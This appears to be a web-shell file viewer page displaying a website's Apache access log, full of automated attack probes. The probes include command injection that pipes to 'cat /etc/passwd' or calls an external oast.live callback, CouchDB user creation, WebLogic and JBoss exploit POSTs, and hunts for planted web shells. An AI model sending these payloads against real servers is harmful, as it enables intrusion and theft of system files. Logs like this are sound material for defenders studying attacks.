HEX
Server: Apache
System: Linux p3plzcpnl434613.prod.phx3.secureserver.net 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: mediabou (145854)
PHP: 8.1.34
Disabled: NONE
$ pwd: /home/mediabou/access-logs/
Upload Files
File: /home/mediabou/access-logs/cam.dcpty.com-ssl_log
103.59.161.71 - - [14/Apr/2026:05:15:10 -0700] "GET / HTTP/1.1" 200 708 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0" 9 **0/9490**
103.59.161.71 - - [14/Apr/2026:05:18:30 -0700] "GET /webadmin/script?command=|%20nslookup%20d79pn53p808i3b0c1hl0gufbuc3mi8sm8.oast.live HTTP/1.1" 403 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15" 15 **0/15822**
103.59.161.71 - - [14/Apr/2026:05:18:30 -0700] "GET /cgi-bin/DownloadCfg/RouterCfm.cfg HTTP/1.1" 403 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13.2) AppleWebKit/619.14.1 (KHTML, like Gecko) Version/17.7.52 Safari/619.14.1" 15 **0/15836**
103.59.161.71 - - [14/Apr/2026:05:18:30 -0700] "GET /solr/admin/cores?wt=json HTTP/1.1" 403 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063" 17 **0/17779**
103.59.161.71 - - [14/Apr/2026:05:18:31 -0700] "GET /maint/modules/home/index.php?lang=english|cat%20/etc/passwd HTTP/1.1" 200 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/602.4.8 (KHTML, like Gecko) Version/10.0 Safari/602.4.8" 31 **0/31586**
103.59.161.71 - - [14/Apr/2026:05:18:35 -0700] "PUT /_users/org.couchdb.user:poc HTTP/1.1" 200 - "-" "Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 19 **0/19601**
104.28.156.114 - - [14/Apr/2026:05:47:46 -0700] "GET /wp-login.php HTTP/1.1" 200 - "-" "Mozilla/5.0" 15 **0/15710**
104.28.156.114 - - [14/Apr/2026:05:47:46 -0700] "GET /wp-login.php HTTP/1.1" 200 - "-" "Mozilla/5.0" 14 **0/14728**
80.94.92.9 - - [14/Apr/2026:06:06:34 -0700] "GET / HTTP/1.1" 200 708 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 8 **0/8213**
185.247.137.160 - - [14/Apr/2026:06:24:37 -0700] "GET / HTTP/1.1" 200 708 "-" "Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)" 8 **0/8361**
20.222.18.47 - - [14/Apr/2026:06:45:29 -0700] "GET /wp-content/index.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 515 **0/515959**
20.222.18.47 - - [14/Apr/2026:06:45:29 -0700] "GET /wp-content/themes/ HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 471 **0/471840**
20.222.18.47 - - [14/Apr/2026:06:45:30 -0700] "GET /wp-content/uploads/admin.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 66 **0/66914**
20.222.18.47 - - [14/Apr/2026:06:45:30 -0700] "GET /wp-includes/block-supports/ HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 31 **0/31619**
20.222.18.47 - - [14/Apr/2026:06:45:30 -0700] "GET /wp-includes/js/crop/ HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 67 **0/67350**
20.222.18.47 - - [14/Apr/2026:06:45:31 -0700] "GET /403.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 88 **0/88890**
20.222.18.47 - - [14/Apr/2026:06:45:31 -0700] "GET /ava.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 63 **0/63842**
20.222.18.47 - - [14/Apr/2026:06:45:31 -0700] "GET /info.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 19 **0/19152**
20.222.18.47 - - [14/Apr/2026:06:45:31 -0700] "GET /wp-admin/admin.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 77 **0/77221**
20.222.18.47 - - [14/Apr/2026:06:45:35 -0700] "GET /wp-content/plugins/about.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 399 **0/399373**
20.222.18.47 - - [14/Apr/2026:06:45:36 -0700] "GET /wp-content/plugins/plugin/index.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 197 **0/197616**
20.222.18.47 - - [14/Apr/2026:06:45:36 -0700] "GET /wp-content/uploads/index.php/wp-includes/Text/ HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 62 **0/62875**
20.222.18.47 - - [14/Apr/2026:06:45:36 -0700] "GET /wp-includes/ HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 73 **0/73110**
20.222.18.47 - - [14/Apr/2026:06:45:36 -0700] "GET /wp-includes/PHPMailer/ HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 86 **0/86331**
20.222.18.47 - - [14/Apr/2026:06:45:37 -0700] "GET /wp-includes/pomo/ HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 82 **0/82995**
20.222.18.47 - - [14/Apr/2026:06:45:37 -0700] "GET /.well-known/ HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 37 **0/37581**
20.222.18.47 - - [14/Apr/2026:06:45:37 -0700] "GET /1.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 22 **0/22550**
20.222.18.47 - - [14/Apr/2026:06:45:37 -0700] "GET /admin/function.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 28 **0/28870**
20.222.18.47 - - [14/Apr/2026:06:45:37 -0700] "GET /autoload_classmap.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 28 **0/28153**
20.222.18.47 - - [14/Apr/2026:06:45:38 -0700] "GET /classwithtostring.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 40 **0/40375**
20.222.18.47 - - [14/Apr/2026:06:45:38 -0700] "GET /content.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 51 **0/51192**
20.222.18.47 - - [14/Apr/2026:06:45:38 -0700] "GET /function/function.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 22 **0/22742**
20.222.18.47 - - [14/Apr/2026:06:45:38 -0700] "GET /item.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 19 **0/19181**
20.222.18.47 - - [14/Apr/2026:06:45:38 -0700] "GET /ms-edit.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 33 **0/33021**
20.222.18.47 - - [14/Apr/2026:06:45:39 -0700] "GET /wp-admin/css/bolt.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 22 **0/22754**
20.222.18.47 - - [14/Apr/2026:06:45:39 -0700] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 50 **0/50819**
20.222.18.47 - - [14/Apr/2026:06:45:39 -0700] "GET /wp-admin/user/index.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 40 **0/40646**
20.222.18.47 - - [14/Apr/2026:06:45:39 -0700] "GET /wp-content/about.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 42 **0/42299**
20.222.18.47 - - [14/Apr/2026:06:45:39 -0700] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 22 **0/22463**
20.222.18.47 - - [14/Apr/2026:06:45:40 -0700] "GET /wp-content/uploads/2024/ HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 41 **0/41476**
20.222.18.47 - - [14/Apr/2026:06:45:40 -0700] "GET /wp-includes/blocks/ HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 23 **0/23777**
20.222.18.47 - - [14/Apr/2026:06:45:40 -0700] "GET /wp-includes/blocks/block/ HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 23 **0/23377**
20.222.18.47 - - [14/Apr/2026:06:45:40 -0700] "GET /wp-includes/images/wlw/ HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 27 **0/27259**
20.222.18.47 - - [14/Apr/2026:06:45:40 -0700] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 35 **0/35921**
20.222.18.47 - - [14/Apr/2026:06:45:40 -0700] "GET /xmlrpc.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 23 **0/23813**
20.222.18.47 - - [14/Apr/2026:06:45:41 -0700] "GET /admin/controller/extension/extension/ HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 24 **0/24416**
20.222.18.47 - - [14/Apr/2026:06:45:41 -0700] "GET /test1.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 18 **0/18085**
20.222.18.47 - - [14/Apr/2026:06:45:41 -0700] "GET /upload.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 30 **0/30497**
20.222.18.47 - - [14/Apr/2026:06:45:41 -0700] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 25 **0/25625**
20.222.18.47 - - [14/Apr/2026:06:45:41 -0700] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 24 **0/24930**
20.222.18.47 - - [14/Apr/2026:06:45:41 -0700] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 19 **0/19976**
20.222.18.47 - - [14/Apr/2026:06:45:42 -0700] "GET /wp-admin/js/index.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 30 **0/30054**
20.222.18.47 - - [14/Apr/2026:06:45:42 -0700] "GET /wp-admin/post.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 52 **0/52897**
20.222.18.47 - - [14/Apr/2026:06:45:42 -0700] "GET /wp-content/plugins/index.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 22 **0/22914**
20.222.18.47 - - [14/Apr/2026:06:45:42 -0700] "GET /wp-content/upgrade/index.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 30 **0/30691**
20.222.18.47 - - [14/Apr/2026:06:45:42 -0700] "GET /wp-content/uploads/system_core.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 36 **0/36229**
20.222.18.47 - - [14/Apr/2026:06:45:42 -0700] "GET /wp-content/uploads/users.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 28 **0/28945**
20.222.18.47 - - [14/Apr/2026:06:45:43 -0700] "GET /wp-content/wp-conflg.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 32 **0/32896**
20.222.18.47 - - [14/Apr/2026:06:45:43 -0700] "GET /wp-includes/Requests/about.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 24 **0/24145**
20.222.18.47 - - [14/Apr/2026:06:45:43 -0700] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 39 **0/39467**
20.222.18.47 - - [14/Apr/2026:06:45:43 -0700] "GET /wp-includes/Text/Diff/index.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 24 **0/24186**
20.222.18.47 - - [14/Apr/2026:06:45:43 -0700] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 32 **0/32129**
20.222.18.47 - - [14/Apr/2026:06:45:43 -0700] "GET /wp-includes/css/index.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 29 **0/29906**
20.222.18.47 - - [14/Apr/2026:06:45:44 -0700] "GET /wp-includes/images/crystal/ HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 32 **0/32767**
20.222.18.47 - - [14/Apr/2026:06:45:44 -0700] "GET /wp-includes/images/wp-login.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 31 **0/31044**
20.222.18.47 - - [14/Apr/2026:06:45:44 -0700] "GET /wp-links.php/wp-content/plugins/wp-content/uploa/ HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 21 **0/21868**
103.59.161.71 - - [14/Apr/2026:06:57:41 -0700] "POST /wls-wsat/CoordinatorPortType HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16" 40 **0/40768**
103.59.161.71 - - [14/Apr/2026:06:57:42 -0700] "POST /wls-wsat/CoordinatorPortType HTTP/1.1" 200 - "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 65 **0/65511**
94.26.106.90 - - [14/Apr/2026:07:14:40 -0700] "GET /wp-login.php HTTP/1.1" 200 1 "https://duckduckgo.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:118.0) Gecko/20100101 Firefox/118.0" 89 **0/89602**
94.26.106.90 - - [14/Apr/2026:07:14:41 -0700] "GET /wp-admin/ HTTP/1.1" 200 1 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_1; rv:120.0) Gecko/20100101 Firefox/120.0" 104 **0/104208**
103.59.161.71 - - [14/Apr/2026:07:35:15 -0700] "POST /invoker/JMXInvokerServlet/ HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0" 51 **0/51039**
103.59.161.71 - - [14/Apr/2026:07:35:16 -0700] "POST /invoker/EJBInvokerServlet/ HTTP/1.1" 200 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:129.0) Gecko/20100101 Firefox/129.0" 59 **0/59347**
103.59.161.71 - - [14/Apr/2026:07:35:17 -0700] "POST /invoker/readonly HTTP/1.1" 200 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0" 34 **0/34490**
66.249.73.198 - - [14/Apr/2026:08:03:50 -0700] "GET / HTTP/1.1" 200 539 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 12 **0/12310**
20.198.83.136 - - [14/Apr/2026:08:11:53 -0700] "GET /admin.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 21 **0/21542**
20.198.83.136 - - [14/Apr/2026:08:11:53 -0700] "GET /inputs.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 35 **0/35069**
20.198.83.136 - - [14/Apr/2026:08:11:54 -0700] "GET /file.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 30 **0/30550**
20.198.83.136 - - [14/Apr/2026:08:11:54 -0700] "GET /goods.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15267**
20.198.83.136 - - [14/Apr/2026:08:11:54 -0700] "GET /ms-edit.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 30 **0/30039**
20.198.83.136 - - [14/Apr/2026:08:11:55 -0700] "GET /bgymj.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 32 **0/32391**
20.198.83.136 - - [14/Apr/2026:08:11:55 -0700] "GET /wp-content/plugins/twenty/login.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 23 **0/23874**
20.198.83.136 - - [14/Apr/2026:08:11:55 -0700] "GET /404.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 17 **0/17604**
20.198.83.136 - - [14/Apr/2026:08:11:55 -0700] "GET /file3.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16146**
20.198.83.136 - - [14/Apr/2026:08:11:56 -0700] "GET /wp-mail.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 26 **0/26147**
20.198.83.136 - - [14/Apr/2026:08:11:56 -0700] "GET /about.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 16 **0/16132**
20.198.83.136 - - [14/Apr/2026:08:11:56 -0700] "GET /wp.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 37 **0/37326**
20.198.83.136 - - [14/Apr/2026:08:11:56 -0700] "GET /.dj/index.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 27 **0/27684**
20.198.83.136 - - [14/Apr/2026:08:11:57 -0700] "GET /adminfuns.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 88 **0/88703**
20.198.83.136 - - [14/Apr/2026:08:11:57 -0700] "GET /php8.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 45 **0/45254**
20.198.83.136 - - [14/Apr/2026:08:11:57 -0700] "GET /classwithtostring.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 24 **0/24094**
20.198.83.136 - - [14/Apr/2026:08:11:58 -0700] "GET /info.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 24 **0/24804**
20.198.83.136 - - [14/Apr/2026:08:11:58 -0700] "GET /ioxi-o.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 22 **0/22663**
20.198.83.136 - - [14/Apr/2026:08:11:58 -0700] "GET /011i.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 19 **0/19369**
20.198.83.136 - - [14/Apr/2026:08:11:58 -0700] "GET /sid3.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 18 **0/18134**
20.198.83.136 - - [14/Apr/2026:08:11:59 -0700] "GET /166.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 17 **0/17636**
20.198.83.136 - - [14/Apr/2026:08:11:59 -0700] "GET /wp-mail.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 46 **0/46987**
20.198.83.136 - - [14/Apr/2026:08:11:59 -0700] "GET /leaf.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 53 **0/53859**
20.198.83.136 - - [14/Apr/2026:08:12:00 -0700] "GET /grsiuk.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 19 **0/19829**
20.198.83.136 - - [14/Apr/2026:08:12:00 -0700] "GET /8.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 15 **0/15273**
20.198.83.136 - - [14/Apr/2026:08:12:00 -0700] "GET /fs.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 21 **0/21385**
20.198.83.136 - - [14/Apr/2026:08:12:00 -0700] "GET /ws38.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20 **0/20506**
20.198.83.136 - - [14/Apr/2026:08:12:01 -0700] "GET /a7.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 55 **0/55881**
20.198.83.136 - - [14/Apr/2026:08:12:01 -0700] "GET /classsmtps.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 161 **0/161926**
20.198.83.136 - - [14/Apr/2026:08:12:01 -0700] "GET /amax.php HTTP/1.1" 403 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 52 **0/52439**
